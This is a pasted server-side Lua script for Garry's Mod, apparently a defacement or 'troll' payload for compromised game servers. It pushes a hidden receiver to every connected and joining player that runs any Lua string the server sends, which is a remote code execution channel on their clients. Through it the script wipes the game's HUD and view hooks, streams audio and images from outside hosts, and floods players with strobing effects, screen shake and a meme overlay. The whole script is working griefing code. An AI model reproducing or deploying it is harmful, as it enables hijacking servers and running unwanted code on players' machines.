2much4Us

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Mar 14th, 2018
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  1. aautil.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Memed By Infamous --- razer approved" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://78.media.tumblr.com/6cf8b9870a7832a68294860527bd3a9b/tumblr_obt3htYFAR1sqkd33o1_400.gif", "hud2", 236, 238 )
  100. LoadWebMaterial( "http://i0.kym-cdn.com/photos/images/original/001/204/967/54a.png", "doritos", 236, 238 )
  101. LoadWebMaterial( "https://img.4plebs.org/boards/pol/image/1408/21/1408218115340.png", "fedora", 236, 238 )
  102. LoadWebMaterial( "https://i.imgur.com/ttu1TRp.png", "dew", 236, 238 )
  103. LoadWebMaterial( "http://nna-leb.gov.lb/files/pictures/1442583825_.jpg", "awp", 236, 238 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106.  
  107. --HUD swap
  108. lol:PushAction( 31, function( pPlayer )
  109. lol:SendLua( pPlayer, [[
  110. (GAMEMODE or GM).CalcView = function() end
  111. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  112.  
  113. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  114. for k, v in pairs(remove) do
  115. hook.GetTable()[v] = {}
  116. end
  117.  
  118. local function GetWebMat( strURL )
  119. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  120. end
  121.  
  122. hook.Add( "HUDPaint", "newhud", function()
  123. surface.SetDrawColor( 255, 255, 255, 255 )
  124.  
  125. if GetWebMat( "hud1" ) then
  126. surface.SetMaterial( GetWebMat("hud1")[1] )
  127. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  128. end
  129. if GetWebMat( "hud2" ) then
  130. surface.SetMaterial( GetWebMat("hud2")[1] )
  131. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 188 *(512 /300), 143 )
  132. end
  133. if GetWebMat( "hud3" ) then
  134. surface.SetMaterial( GetWebMat("hud3")[1] )
  135. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  136. end
  137. if GetWebMat( "doritos" ) then
  138. surface.SetMaterial( GetWebMat("doritos")[1] )
  139. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  140. end
  141. if GetWebMat( "dew" ) then
  142. surface.SetMaterial( GetWebMat("dew")[1] )
  143. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  144. end
  145. if GetWebMat( "fedora" ) then
  146. surface.SetMaterial( GetWebMat("fedora")[1] )
  147. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  148. end
  149. if GetWebMat( "awp" ) then
  150. surface.SetMaterial( GetWebMat("awp")[1] )
  151. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  152. end
  153.  
  154. draw.SimpleTextOutlined(
  155. "A MEME HAS VISITED YOUR SERVER >!!ME!!< ",
  156. "DermaLarge",
  157. ScrW() /2 +math.random( -8, 8 ),
  158. ScrH() /2 +math.random( -8, 8 ) +24,
  159. Color( 255, 0, 0 ),
  160. TEXT_ALIGN_CENTER,
  161. TEXT_ALIGN_CENTER,
  162. 1,
  163. Color( 0, 255, 0 )
  164. )
  165.  
  166. end )
  167.  
  168. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  169. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  170.  
  171. surface.PlaySound( "garrysmod/save_load4.wav" )
  172. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  173. ]] )
  174. end )
  175.  
  176. --Disco time
  177. lol:PushAction( 10, function( pPlayer )
  178. local idx = pPlayer:EntIndex()
  179. timer.Create( "beat".. idx, 0.42, 0, function()
  180. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  181. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  182. end )
  183.  
  184.  
  185. lol:SendLua( pPlayer, [[
  186. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  187. local time = 0
  188.  
  189. hook.Add( "Think", "wat", function()
  190. if CurTime() < time then
  191. return
  192. end
  193.  
  194. time = CurTime() +0.05
  195. for i = 1, 16 do
  196. local part = emitter:Add(
  197. "particles/balloon_bit",
  198. LocalPlayer():GetPos() +Vector(
  199. math.random( -256, 256 ),
  200. math.random( -256, 256 ),
  201. 256
  202. )
  203. )
  204.  
  205. if part then
  206. local Size = math.random( 4, 7 )
  207.  
  208. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  209. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  210. part:SetDieTime( 4.5 )
  211. part:SetGravity( Vector(40, 0, -250) )
  212. part:SetLifeTime( 0 )
  213. part:SetStartSize( Size /2 )
  214. part:SetEndSize( Size )
  215. part:SetCollide( true )
  216. end
  217. end
  218. end )
  219. ]] )
  220.  
  221. lol:SendLua( pPlayer, [[
  222. hook.Add( "RenderScreenspaceEffects", "wat", function()
  223. local sinScaler = math.sin( CurTime() )
  224. DrawBloom(
  225. 0,
  226. 3,
  227. sinScaler *math.Rand(1, 8),
  228. sinScaler *math.Rand(1, 8),
  229. 6,
  230. math.Rand(0.5, 2),
  231. math.Rand(0, 0.3),
  232. math.Rand(0, 0.3),
  233. math.Rand(0.5, 1)
  234. )
  235.  
  236. DrawColorModify{
  237. ["$pp_colour_addr"] = 0,
  238. ["$pp_colour_addg"] = 0,
  239. ["$pp_colour_addb"] = 00,
  240. ["$pp_colour_brightness" ] = 0,
  241. ["$pp_colour_contrast" ] = 1,
  242. ["$pp_colour_colour" ] = 1,
  243. ["$pp_colour_mulr" ] = 0,
  244. ["$pp_colour_mulg" ] = 0,
  245. ["$pp_colour_mulb" ] = 1
  246. }
  247. end )
  248.  
  249. local mdl = ClientsideModel( "models/player/Group01/male_07.mdl", RENDERGROUP_BOTH )
  250. mdl:SetNoDraw( true )
  251. local posCache, time = {}, 0
  252.  
  253. hook.Add( "HUDPaint", "dance", function()
  254. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  255. local idx = mdl:LookupSequence("taunt_dance")
  256. mdl.SeqDuration = mdl:SequenceDuration( idx )
  257. mdl.SeqStart = CurTime()
  258. mdl:ResetSequence( idx )
  259. end
  260.  
  261. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  262.  
  263.  
  264. local w, h = 300, 300
  265. local ang = Angle( 0, 0, 0 )
  266.  
  267. for i = 1, 32 do
  268. if CurTime() > time then
  269. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  270. end
  271. local x, y = posCache[i][1], posCache[i][2]
  272.  
  273. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  274. cam.IgnoreZ( true )
  275. render.SuppressEngineLighting( true )
  276.  
  277. render.SetLightingOrigin( mdl:GetPos() )
  278. render.ResetModelLighting( 1, 1, 1 )
  279. render.SetColorModulation( 0, 0, 1 )
  280.  
  281. mdl:DrawModel()
  282.  
  283. render.SuppressEngineLighting( false )
  284. cam.IgnoreZ( false )
  285. cam.End3D()
  286. end
  287.  
  288. if CurTime() > time then
  289. time = CurTime() +0.15
  290. end
  291. end )
  292.  
  293. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  294. ]] )
  295. end )
  296.  
  297. --Let the beat drop
  298. lol:PushAction( 54, function( pPlayer )
  299. lol:SendLua( pPlayer, [[
  300. hook.Add( "GetMotionBlurValues", "wat", function()
  301. return 0, 0, 1, math.sin(CurTime() *13)
  302. end )
  303.  
  304. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  305. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  306. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  307. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  308. end )
  309.  
  310. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  311. render.SetMaterial( Material("cable/blue_elec") )
  312. for i = 1, 32 do
  313. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  314. end
  315. end )
  316.  
  317. timer.Create( "thedrop", 0.42, 0, function()
  318. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  319. end )
  320. ]] )
  321. end )
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